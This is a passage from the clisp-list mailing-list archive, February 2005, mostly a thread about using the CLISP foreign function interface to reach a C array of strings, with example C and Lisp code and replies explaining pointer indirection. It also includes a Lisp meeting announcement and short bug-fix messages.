MySQL (which almost works) and will be posting it as open source as soon as it is completed. I'm also working on a wrapper for Fltk for CLisp. Thanks to Joerg for his previous answer. I've tried implementing his suggestions but I failed. Below are files giving a minimal example (highlighting my misunderstanding). Hopefully they are small enough that comments/corrections can be inserted directly at the locations of my bugs and require minimum effort to answer this email. Thanks for any help!! (BTW I'm using CLisp 2.33.1 on win32 from prebuilt binaries. (I don't know how to use CVS yet and failed in my attempt to build under MSYS that I just installed using the new 2.33.2 sources - still learning this environment too. So I don't have FOREIGN-VARIABLE constructor yet.) Solution: (attempted but failed) --------------------------------------------------------------------------------------------------- // foo.c #include // define for Microsoft Visual C on win32 #define DLLEXPORT _declspec(dllexport) // Otherwise // #define DLLEXPORT char * cols[] = { "one", "two", "three", "four" }; // Real foo will return variant length array that is // not null terminated. DLLEXPORT char ** foo() { printf("\nC address of string array: %x",cols); return cols; } --------------------------------------------------------------------------------------------------------------- ;; Example of accessing arrays that are not null terminated ;; foo.lisp ;; see foo.c (FFI:DEF-CALL-OUT foo (:library "foo.dll") (:language :stdc) (:name "foo") (:arguments) (:return-type (ffi:c-ptr (ffi:c-array ffi:c-string 3)))) ;; The real foo will return varying sized arrays that ;; are not null terminated so ffi:c-array-ptr can not be used. ;; This call out spec simply tests a fixed size array with a ;; specified length less than or equal to the actually array returned. (setf s (foo)) (format t "~%Two: ~A" (aref s 1)) (format t "~%'one' 'two' 'three': ~A" s) (setf col-count 3) ;; varies on the real foo. ;; this version generates the error indicated below (FFI:DEF-CALL-OUT bar (:library "foo.dll") (:language :stdc) (:name "foo") (:arguments) (:return-type ffi:c-pointer)) (setf s2 (bar)) (format t "~%Foreign address: ~A" s2) ;; convert foreign address to c-place for FFI primitives (ffi:with-c-var (cols `ffi:c-pointer s2) (ffi:offset cols 1 `(ffi:c-array ffi:c-string ,col-count)) ;; Above line generates this error: ;; *** - FFI::%OFFSET: foreign variable # does not have the required alignment ) ;; Alternate approach - also generates error indicated below. (FFI:DEF-CALL-OUT foobar (:library "foo.dll") (:language :stdc) (:name "foo") (:arguments) (:return-type (ffi:c-ptr (ffi:c-array ffi:c-string 1)))) (setf s3 (foobar)) (format t "~%Two: ~A" s3) (ffi:with-c-place (cols s3) (ffi:offset cols 1 `(ffi:c-array ffi:c-string ,col-count)) ;; Above line generates this error: ;; *** - FFI::%OFFSET: argument is not a foreign variable: #("one") ) I don't have a conceptual model in my mind on what is really going on under the covers and it is still not clear to me what is meant by foreign. My understand so far is as follows: I figure the FFI spec such as a call out function is kind of like IDL which the system (or VM) is referencing when a call out is made to determine how it will throw values across the wall surrounding GC managed memory out to where the C code can get to it without fear of a GC attack. And likewise on values returned from C (other than c-pointer) the VM has to call into play allocation, copying and perform a possible format transformation to bring this returning data back within the GC memory compound making it a bona fide Lisp object. What is confusing to me is the naming conventions of foreign and c-place. It seems it means several things depending on where it is in bound, outbound or a settable place. I haven't thought this all through yet but I'm tempted to try to document this more fully for my own edification so that I truly understand what's going on so I'm not unwittingly making mistakes. However I realize the FFI is designed so painstakingly so that you can't do unsafe things - which is perhaps why I'm having such a hard time with getting at foo's returned value above. Thanks for any help. Looking forward to having a working DBI/DBD and evently a Fltk bindings. John p.s. Thank you for writing CLisp! From sds@gnu.org Thu Feb 10 08:41:36 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CzHNo-0001PL-CM for clisp-list@lists.sourceforge.net; Thu, 10 Feb 2005 08:41:36 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CzHNn-0006A5-OJ for clisp-list@lists.sourceforge.net; Thu, 10 Feb 2005 08:41:36 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1AGe4Qp001272; Thu, 10 Feb 2005 11:40:04 -0500 (EST) To: clisp-list@lists.sourceforge.net, "John Small" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <00ab01c50f7f$386abe30$c00fa8c0@rogareals8gkwt> (John Small's message of "Thu, 10 Feb 2005 09:45:52 -0500") References: <00ab01c50f7f$386abe30$c00fa8c0@rogareals8gkwt> Mail-Followup-To: clisp-list@lists.sourceforge.net, "John Small" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI and variable length arrays Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 10 08:43:08 2005 X-Original-Date: Thu, 10 Feb 2005 11:41:15 -0500 > * John Small [2005-02-10 09:45:52 -0500]: > > (BTW I'm using CLisp 2.33.1 on win32 from prebuilt binaries. (I don't > know how to use CVS yet and failed in my attempt to build under MSYS > that I just installed using the new 2.33.2 sources - still learning > this environment too. So I don't have FOREIGN-VARIABLE constructor > yet.) try -- Sam Steingold (http://www.podval.org/~sds) running w2k In every non-trivial program there is at least one bug. From jwebsmall@cox.net Thu Feb 10 08:46:58 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CzHT0-0001dw-CV for clisp-list@lists.sourceforge.net; Thu, 10 Feb 2005 08:46:58 -0800 Received: from lakermmtao04.cox.net ([68.230.240.35]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CzHSy-0007dL-Ju for clisp-list@lists.sourceforge.net; Thu, 10 Feb 2005 08:46:58 -0800 Received: from rogareals8gkwt ([70.177.171.244]) by lakermmtao04.cox.net (InterMail vM.6.01.04.00 201-2131-117-20041022) with SMTP id <20050210164650.GGIO23636.lakermmtao04.cox.net@rogareals8gkwt> for ; Thu, 10 Feb 2005 11:46:50 -0500 Message-ID: <01cb01c50f90$1a9c5f10$c00fa8c0@rogareals8gkwt> From: "John Small" To: References: <00ab01c50f7f$386abe30$c00fa8c0@rogareals8gkwt> Subject: Re: [clisp-list] Re: FFI and variable length arrays MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 10 08:49:23 2005 X-Original-Date: Thu, 10 Feb 2005 11:46:44 -0500 Thank you Sam! This looks like it is going to do what I need - I'll decipher it later today. John ----- Original Message ----- From: "Sam Steingold" To: ; "John Small" Sent: Thursday, February 10, 2005 11:41 AM Subject: [clisp-list] Re: FFI and variable length arrays >> * John Small [2005-02-10 09:45:52 -0500]: >> >> (BTW I'm using CLisp 2.33.1 on win32 from prebuilt binaries. (I don't >> know how to use CVS yet and failed in my attempt to build under MSYS >> that I just installed using the new 2.33.2 sources - still learning >> this environment too. So I don't have FOREIGN-VARIABLE constructor >> yet.) > > try > > > > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > In every non-trivial program there is at least one bug. > > > ------------------------------------------------------- > SF email is sponsored by - The IT Product Guide > Read honest & candid reviews on hundreds of IT Products from real users. > Discover which products truly live up to the hype. Start reading now. > http://ads.osdn.com/?ad_id=6595&alloc_id=14396&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From edi@agharta.de Thu Feb 10 15:09:16 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CzNQx-00053N-SI for clisp-list@lists.sourceforge.net; Thu, 10 Feb 2005 15:09:15 -0800 Received: from ns.agharta.de ([62.159.208.90] helo=miles.agharta.de ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CzNQv-0000AA-94 for clisp-list@lists.sourceforge.net; Thu, 10 Feb 2005 15:09:15 -0800 Received: from GROUCHO (trane.agharta.de [62.159.208.82]) by miles.agharta.de (Postfix) with ESMTP id 36F892CC085 for ; Fri, 11 Feb 2005 00:09:00 +0100 (CET) To: clisp-list@lists.sourceforge.net From: Edi Weitz X-Home-Page: http://weitz.de/ Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] European Common Lisp Meeting, Amsterdam, April 2005 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 10 15:13:43 2005 X-Original-Date: Fri, 11 Feb 2005 00:08:59 +0100 [Apologies if you get this announcement more than once.] Hi! Arthur Lemmens and I are trying to organize a "European Common Lisp Meeting" and I think we've managed to assemble a quite impressive line-up of speakers. The meeting will be in Amsterdam on April 24, 2005, and here's the list of the fellow Lispers who'll give a talk: - Jans Aasman - Dave Fox - Luke Gorrie - Antonio Menezes Leitao - Christophe Rhodes - Robert Strandh - Espen Vestre All details can be found on this website: We hope that very many of you will be able to attend this meeting and make it a success. Please, if you consider joining us, use the registration facility that can be found at the website above. We're looking forward to seeing you in Amsterdam in April! Cheers, Edi. From Joerg-Cyril.Hoehle@t-systems.com Fri Feb 11 07:00:53 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CzcHt-0007a5-1Q for clisp-list@lists.sourceforge.net; Fri, 11 Feb 2005 07:00:53 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CzcHp-0005eT-Iw for clisp-list@lists.sourceforge.net; Fri, 11 Feb 2005 07:00:52 -0800 Received: from g8pbr.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Fri, 11 Feb 2005 15:10:28 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <13M69VGS>; Fri, 11 Feb 2005 15:10:52 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030333E9AA@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: jwebsmall@cox.net Subject: Re: [clisp-list] FFI and variable length arrays MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 11 07:03:15 2005 X-Original-Date: Fri, 11 Feb 2005 15:10:50 +0100 Hi, John Small wrote: > (:return-type (ffi:c-ptr (ffi:c-array ffi:c-string 1)))) >(setf s3 (foobar)) Please show us what s3 looks like (foreign-variable or Lisp array or = ...) to make it easier for us to spot errors. >(format t "~%Two: ~A" s3) >(ffi:with-c-place (cols s3) > (ffi:offset cols 1 `(ffi:c-array ffi:c-string ,col-count)) >;; Above line generates this error: >;; *** - FFI::%OFFSET: argument is not a foreign variable: #("one") It clearly indicates that the array already got dereferenced. You used :return-type (c-ptr (c-array ...)). I said (c-pointer (c-array ...)) The former converts and returns a Lisp array, the latter a reference. (c-pointer ) is not in older versions of CLISP. > (:return-type ffi:c-pointer)) >(ffi:with-c-var (cols `ffi:c-pointer s2) > (ffi:offset cols 1 `(ffi:c-array ffi:c-string ,col-count)) >;; Above line generates this error: >;; *** - FFI::%OFFSET: foreign variable #;; "EXEC-ON-STACK" #x00..> does not have the required alignment Here you can be happy you got an alignment error and not a core dump = (is that a x86-family processor -- where's alignment there?) I believe you missed an indirection: cols is a (c-pointer (c-array = ...)) which is lying on the stack in this case, so you must = dereference it as such. My own example missed that (or was unclear about row-pointer), I'm = sorry about it. WITH-C-VAR introduces an object on the stack: typically a pointer to = some data structure, it's the object pointed to that requires the cast, = which generally leads to CAST `(c-ptr (...)) One usually has to be very careful about getting the number of = indirections right. This is probably harder with the FFI than with = plain C to programmers with C knowledge, because they are more used to = the C syntax than to the fully parenthized FFI Lisp type. I also have = to think *at least* twice to be sure. And even more so with arrays -- are they pointers or not? In the = context of the CLISP FFI, c-array is not to be viewed as a pointer = type, therefore (c-pointer/c-ptr (c-array ...)) is typically needed = (but not with objects one gets from :return-type (c-pointer ...), since = the foreign-variable object received already was dereferenced). = Confusing enough? I view c-array like c-struct: consecutive slots. One clearly writes = (C-ptr (c-struct ...)) (e.g. as parameter type), so it's the same with = c-array. Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Fri Feb 11 07:00:53 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CzcHt-0007a4-02 for clisp-list@lists.sourceforge.net; Fri, 11 Feb 2005 07:00:53 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CzcHs-0005fC-D2 for clisp-list@lists.sourceforge.net; Fri, 11 Feb 2005 07:00:52 -0800 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Fri, 11 Feb 2005 15:10:36 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <1P33B2TN>; Fri, 11 Feb 2005 15:10:59 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A030333E9AB@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: russell_mcmanus@yahoo.com Subject: Re: [clisp-list] weird macro expansion behavior MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 11 07:03:19 2005 X-Original-Date: Fri, 11 Feb 2005 15:10:59 +0100 Russell McManus wrote: > I tend to think that ,expr is shorthand for (unquote expr) as it is in >scheme in which case the space should not be required. Thanks for pointing out to me that R5RS does not know about ",." syntax. Only "," and ",@". I wasn't aware of this (yet another) difference! Jorg Hohle From sds@gnu.org Fri Feb 11 07:03:17 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CzcK7-0007p9-FC for clisp-list@lists.sourceforge.net; Fri, 11 Feb 2005 07:03:11 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CzcK5-0003PA-Rz for clisp-list@lists.sourceforge.net; Fri, 11 Feb 2005 07:03:11 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1BF1MwR027232; Fri, 11 Feb 2005 10:01:27 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42086F02.7050403@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 08 Feb 2005 09:49:22 +0200") References: <42086F02.7050403@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: test fault Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 11 07:05:46 2005 X-Original-Date: Fri, 11 Feb 2005 10:02:34 -0500 > * Yaroslav Kavenchuk [2005-02-08 09:49:22 +0200]: > > lisp.exe -B . -Efile UTF-8 -Eterminal UTF-8 -norc -q -M lispinit.mem -x > '(progn (format *terminal-io* "~&Line1 to *terminal-io*") (format > *terminal-io* "~&Line2 to *terminal-io*") (values))' 2>&1 >> > fresh-line.out > *** - WRITE-CHAR on # is illegal OK, I already fixed this bug 2 weeks ago, now I fixed it again. Sorry. -- Sam Steingold (http://www.podval.org/~sds) running w2k non-smoking section in a restaurant == non-peeing section in a swimming pool From sds@gnu.org Fri Feb 11 07:21:18 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Czcbd-0000Wc-PR for clisp-list@lists.sourceforge.net; Fri, 11 Feb 2005 07:21:17 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Czcba-0008MB-RE for clisp-list@lists.sourceforge.net; Fri, 11 Feb 2005 07:21:17 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.163]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j1BFJUP5000027; Fri, 11 Feb 2005 10:19:30 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A030333E9AA@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Fri, 11 Feb 2005 15:10:50 +0100") References: <5F9130612D07074EB0A0CE7E69FD7A030333E9AA@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI and variable length arrays Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 11 07:23:19 2005 X-Original-Date: Fri, 11 Feb 2005 10:20:42 -0500 > * Hoehle, Joerg-Cyril [2005-02-11 15:10:50 +0100]: > > (c-pointer ) is not in older versions of CLISP. John has the latest and greatest, don't worry. > Confusing enough? definitely. John&Joerg, could you please turn this discussion into a complete example? we already have 9 examples in I am sure a couple more would not hurt. -- Sam Steingold (http://www.podval.org/~sds) running w2k Microsoft: announce yesterday, code today, think tomorrow. From jwebsmall@cox.net Fri Feb 11 07:29:24 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CzcjU-0000pC-Ha for clisp-list@lists.sourceforge.net; Fri, 11 Feb 2005 07:29:24 -0800 Received: from lakermmtao08.cox.net ([68.230.240.31]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CzcjT-0001EB-GA for clisp-list@lists.sourceforge.net; Fri, 11 Feb 2005 07:29:24 -0800 Received: from rogareals8gkwt ([70.177.171.244]) by lakermmtao08.cox.net (InterMail vM.6.01.04.00 201-2131-117-20041022) with SMTP id <20050211152911.PQET29855.lakermmtao08.cox.net@rogareals8gkwt>; Fri, 11 Feb 2005 10:29:11 -0500 Message-ID: <011601c5104e$6b028d30$c00fa8c0@rogareals8gkwt> From: "John Small" To: , "Hoehle, Joerg-Cyril" References: <5F9130612D07074EB0A0CE7E69FD7A030333E9AA@S4DE8PSAAGS.blf.telekom.de> Subject: Re: [clisp-list] Re: FFI and variable length arrays MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 11 07:30:56 2005 X-Original-Date: Fri, 11 Feb 2005 10:29:03 -0500 I'll be responding with a smaller example to both Jorg and Sam shortly (2-3 hours). What Sam sent me I almost got working. The smaller example will highlight precisely my misunderstanding. I should be able to post the initial DBI/DBD with ODBC and MySQL driver in a few days then. ----- Original Message ----- From: "Sam Steingold" To: ; "Hoehle, Joerg-Cyril" Sent: Friday, February 11, 2005 10:20 AM Subject: [clisp-list] Re: FFI and variable length arrays >> * Hoehle, Joerg-Cyril [2005-02-11 >> 15:10:50 +0100]: >> >> (c-pointer ) is not in older versions of CLISP. > > John has the latest and greatest, don't worry. > >> Confusing enough? > > definitely. > > John&Joerg, could you please turn this discussion into a complete > example? > we already have 9 examples in > > I am sure a couple more would not hurt. > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Microsoft: announce yesterday, code today, think tomorrow. > > > ------------------------------------------------------- > SF email is sponsored by - The IT Product Guide > Read honest & candid reviews on hundreds of IT Products from real users. > Discover which products truly live up to the hype. Start reading now. > http://ads.osdn.com/?ad_id=6595&alloc_id=14396&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From jwebsmall@cox.net Fri Feb 11 16:20:52 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Czl1n-0003O5-GF for clisp-list@lists.sourceforge.net; Fri, 11 Feb 2005 16:20:51 -0800 Received: from lakermmtao08.cox.net ([68.230.240.31]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Czl1m-00086E-RA for clisp-list@lists.sourceforge.net; Fri, 11 Feb 2005 16:20:51 -0800 Received: from rogareals8gkwt ([70.177.171.244]) by lakermmtao08.cox.net (InterMail vM.6.01.04.00 201-2131-117-20041022) with SMTP id <20050212002042.AYO29855.lakermmtao08.cox.net@rogareals8gkwt> for ; Fri, 11 Feb 2005 19:20:42 -0500 Message-ID: <00a801c51098$ab67d7f0$c00fa8c0@rogareals8gkwt> From: "John Small" To: MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] FFI question cotinued Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 11 16:24:10 2005 X-Original-Date: Fri, 11 Feb 2005 19:20:34 -0500 That was a long 2-3 hours - sorry I was tied up at work. Basically I don't understand why I can't take a returned c-pointer and use it with the following. "s" is a returned ffi:c-pointer (ffi:foreign-value (ffi:foreign-variable s (ffi:parse-c-type 'ffi:c-string))) The above expression will produce the following error: *** - Incomplete FFI type C-STRING is not allowed here. Below is the complete example with foo.c and foo.lisp demonstrating what I'm trying to do with the returned array of strings which is not nulled terminated but may have null pointers embedded to represent SQL null values. (Thanks for all your help.) ------------------------------------------------------------ // foo.c #include // define for M$ Visual C #define DLLEXPORT _declspec(dllexport) // #define DLLEXPORT char * cols[] = { "one", "two", "three", "four" }; DLLEXPORT void display_c_addresses() { printf("\nC address of string array: %x",cols); printf("\nC address of 1st string: %x %s",cols[0],cols[0]); printf("\nC address of 2nd string: %x %s",cols[1],cols[1]); printf("\nC address of 3st string: %x %s",cols[2],cols[2]); printf("\nC address of 4nd string: %x %s",cols[3],cols[3]); } DLLEXPORT char * foo() { return cols[0]; } 